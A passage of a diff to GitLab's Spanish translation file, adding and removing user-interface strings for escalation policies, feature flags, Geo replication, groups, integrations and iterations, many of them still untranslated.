msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr "Habilitar la autenticación de dos factores"
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr "Habilitar ping de uso"
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr "Introduzca su contraseña para aprobar"
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr "Entorno"
@@ -12595,9 +12400,6 @@ msgstr "Obtenga más información sobre cómo detener los entornos"
msgid "Environments|Logs from %{start} to %{end}."
msgstr "Environments|Logs desde %{start} hasta %{end}."
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr "Estimación"
@@ -13156,9 +12991,6 @@ msgstr "Filtrar por wiki"
msgid "Events"
msgstr "Eventos"
-msgid "Events in %{project_path}"
-msgstr "Eventos en %{project_path}"
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr "Cada intento de %{action} ha fallado: %{job_error_message}. Por favor, inténtalo de nuevo."
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr "Experiencia"
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr "Caducado:"
msgid "Expires"
msgstr "Caduca"
-msgid "Expires at"
-msgstr "Caduca a las"
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr "URL de almacenamiento externo"
msgid "External storage authentication token"
msgstr "Token de autenticación de almacenamiento externo"
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr "Etiqueta de clasificación"
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr "Facebook"
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr "Feature Flags"
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr "* (Todos los entornos)"
-msgid "FeatureFlags|* (All environments)"
-msgstr "* (Todos los entornos)"
-
msgid "FeatureFlags|API URL"
msgstr "API Url"
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr "Especificación del entorno"
-
msgid "FeatureFlags|Environment Specs"
msgstr "Especificaciones del entorno"
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr "Inactivo"
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr "Desactivar Flag para %{scope}"
-msgid "FeatureFlags|Include additional user IDs"
-msgstr "Incluye IDs de usuario adicionales"
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr "Protegido"
-
msgid "FeatureFlags|Remove"
msgstr "Eliminar"
-msgid "FeatureFlags|Rollout Percentage"
-msgstr "Porcentaje de despliegue"
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr "Estrategia de despliegue"
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr "Estado"
msgid "FeatureFlags|Strategies"
msgstr "Estrategias"
-msgid "FeatureFlags|Target environments"
-msgstr "Entornos de destino"
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr "Se ha producido un error al obtener las Feature Flag."
@@ -14020,9 +13813,6 @@ msgstr "Explorador de archivos"
msgid "File deleted"
msgstr "Archivo eliminado"
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr "Nombre del archivo"
msgid "File renamed with no changes."
msgstr "Archivo renombrado sin cambios."
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr "Filtrar por nombre del hito"
msgid "Filter by name"
msgstr "Filtrar por nombre"
-msgid "Filter by status"
-msgstr "Filtrar por estado"
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr "Para obtener más información, vaya a "
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr "Para obtener más información, consulte la documentación en %{deactivating_usage_ping_link_start} desactivar el uso ping %{deactivating_usage_ping_link_end}."
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr "Geo"
msgid "Geo Nodes"
msgstr "Geo Nodos"
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr "Replicación de Geo"
msgid "Geo Settings"
msgstr "Configuración de Geo"
-msgid "Geo nodes are paused using a command run on the node"
-msgstr "Los nodos de Geo se pausan utilizando un comando que se ejecuta en el nodo"
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr "%{timeAgoStr} (%{pendingEvents} eventos)"
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr "El nodo está caído o fallando."
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr "El nodo es lento, está sobrecargado o se ha recuperado después de una interrupción."
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr "Retraso en replicación de datos"
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr "No coincide con la configuración principal de almacenamiento"
-
-msgid "GeoNodes|Full"
-msgstr "Completo"
-
-msgid "GeoNodes|GitLab version"
-msgstr "Versión de GitLab"
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr "La versión de GitLab no coincide con la versión del nodo principal"
-
-msgid "GeoNodes|Health status"
-msgstr "Estado de salud"
-
-msgid "GeoNodes|Internal URL"
-msgstr "URL interna"
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr "ID del último evento procesado por el cursor"
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr "ID del último evento visto desde el principal"
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr "Aprenda más sobre los estados del nodo de Geo"
-
-msgid "GeoNodes|Loading nodes"
-msgstr "Cargando nodos"
-
-msgid "GeoNodes|New node"
-msgstr "Nuevo nodo"
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr "La autenticación del nodo se reparó correctamente."
-
-msgid "GeoNodes|Node URL"
-msgstr "URL de nodo"
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr "El nodo se eliminó correctamente."
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr "Slots de replicación WAL"
-
-msgid "GeoNodes|Replication slots"
-msgstr "Slots de replicación"
-
-msgid "GeoNodes|Replication status"
-msgstr "Estado de la replicación"
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr "Selectivo (%{syncLabel})"
-
-msgid "GeoNodes|Selective synchronization"
-msgstr "Sincronización selectiva"
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr "Se ha producido un error mientras se cambiaba el estado del nodo"
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr "Se ha producido un error obtener los nodos"
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr "Se ha producido un error al eliminar el nodo"
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr "Se ha producido un error mientras al reparar el nodo"
-
-msgid "GeoNodes|Storage config"
-msgstr "Configuración del almacenamiento"
-
-msgid "GeoNodes|Sync settings"
-msgstr "Opciones de sincronización"
-
-msgid "GeoNodes|Unused slots"
-msgstr "Slots sin utilizar"
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr "Actualizado %{timeAgo}"
-
-msgid "GeoNodes|Used slots"
-msgstr "Slots utilizados"
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr "Con %{geo} puede instalar una instancia especial de solo lectura y replicarla en cualquier lugar. Antes de agregar los nodos, siga las %{instructions} en el orden exacto en que se muestran."
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr "Ha configurado los nodos Geo utilizando una conexión HTTP insegura. Le recomendamos la utilización de una conexión HTTPS."
-
-msgid "GeoNodes|primary node"
-msgstr "nodo principal"
-
-msgid "GeoNodes|secondary nodes"
-msgstr "nodos secundarios"
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr "%{label} no puede estar en blanco"
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr "Fallido"
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr "Filtrar por estado"
@@ -14845,9 +14500,6 @@ msgstr "Sincronización pendiente"
msgid "Geo|Pending verification"
msgstr "Pendiente de verificación"
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr "Por favor, consulte la sección de solución de problemas de Geo."
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr "Resincronizar"
msgid "Geo|Resync all"
msgstr "Volver a sincronizar todo"
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr "Contador de reintentos"
@@ -14929,6 +14587,9 @@ msgstr "Volver a comprobar"
msgid "Geo|Reverify all"
msgstr "Volver a comprobar todo"
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr "Se ha producido un error durante la sincronización - %{error}"
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr "La sincronización de %{itemTitle} está deshabilitada."
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr "Ir a sus fragmentos de código"
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr "Google Cloud Platform"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr "La autenticación de Google no está %{link_start}configurada correctamente%{link_end}. Pregunte a su administrador de GitLab si desea utilizar este servicio."
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr "Gráfico"
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -15592,9 +15265,6 @@ msgstr "Se ha programado el grupo %{group_name} para su eliminación."
msgid "Group %{group_name} was successfully created."
msgstr "El grupo %{group_name} se actualizó correctamente."
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr "Estado del grupo GIT LFS:"
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr "Avatar del grupo"
@@ -15694,14 +15367,11 @@ msgstr "Nombre del grupo (su organización)"
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr "Descripción general del grupo"
-
msgid "Group overview content"
msgstr "Resumen del contenido del grupo"
-msgid "Group path is already taken. Suggestions: "
-msgstr "La ruta del grupo ya está ocupada. Sugerencias: "
+msgid "Group path is already taken. We've suggested one that is available."
+msgstr ""
msgid "Group path is available."
msgstr "La ruta del grupo está disponible."
@@ -15736,9 +15406,6 @@ msgstr "El grupo fue exportado"
msgid "Group was successfully updated."
msgstr "Grupo actualizado correctamente."
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr "Grupo: %{group_name}"
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
+msgstr ""
+
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Prevenir que se comparta un proyecto de %{group} con otros grupos"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr "Esta configuración se aplica en %{ancestor_group}. Para compartir los p
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr "Esta configuración se aplica en %{ancestor_group}. Puede sobrescribir la configuración o %{remove_ancestor_share_with_group_lock}."
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr "Esta configuración se aplicará a todos los subgrupos a menos que se sobrescriba por el propietario de un grupo. Los grupos que ya tienen acceso al proyecto seguirán teniendo acceso, a menos que estos permisos se eliminen manualmente."
@@ -16126,15 +15793,15 @@ msgstr "No se puede cambiar cuando el grupo contiene proyectos con paquetes NPM"
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr "eliminar el recurso compartido con bloqueo de grupo desde %{ancestor_group_name}"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
+msgstr ""
+
msgid "Groups"
msgstr "Grupos"
msgid "Groups (%{count})"
msgstr "Grupos: (%{count})"
-msgid "Groups (%{groups})"
-msgstr "Grupos (%{groups})"
-
msgid "Groups and projects"
msgstr "Grupos y proyectos"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr "Ocultar payload"
msgid "Hide shared projects"
msgstr "Ocultar proyectos compartidos"
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Ocultar valor"
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr "Cómo funciona"
@@ -16664,6 +16334,9 @@ msgstr "Si está habilitado, el acceso a los proyectos se validará en un servic
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr "Importar proyecto desde"
msgid "Import project members"
msgstr "Importar miembros del proyecto"
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr "Importar proyectos desde Bitbucket"
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr "Incidente"
msgid "Incident Management Limits"
msgstr "Límites de gestión de incidentes"
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr "Insertar imagen"
msgid "Insert inline code"
msgstr "Insertar código en línea"
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr "Insertar sugerencia"
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr "Instalar"
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr "Instala en los clústeres"
msgid "Installation"
msgstr "Instalación"
-msgid "Installed"
-msgstr "Instalado"
-
-msgid "Installing"
-msgstr "Instalando"
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] "Instancia"
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr "Ya existe el grupo de administrador de instancias"
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr "Todos los detalles"
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr "Entrada no válida, por favor, evite los emojis"
msgid "Invalid login or password"
msgstr "Nombre de usuario o contraseña no válidos"
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr "Código PIN inválido."
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr "Iteraciones"
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "Los eventos para %{noteable_model_name} están deshabilitados."
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
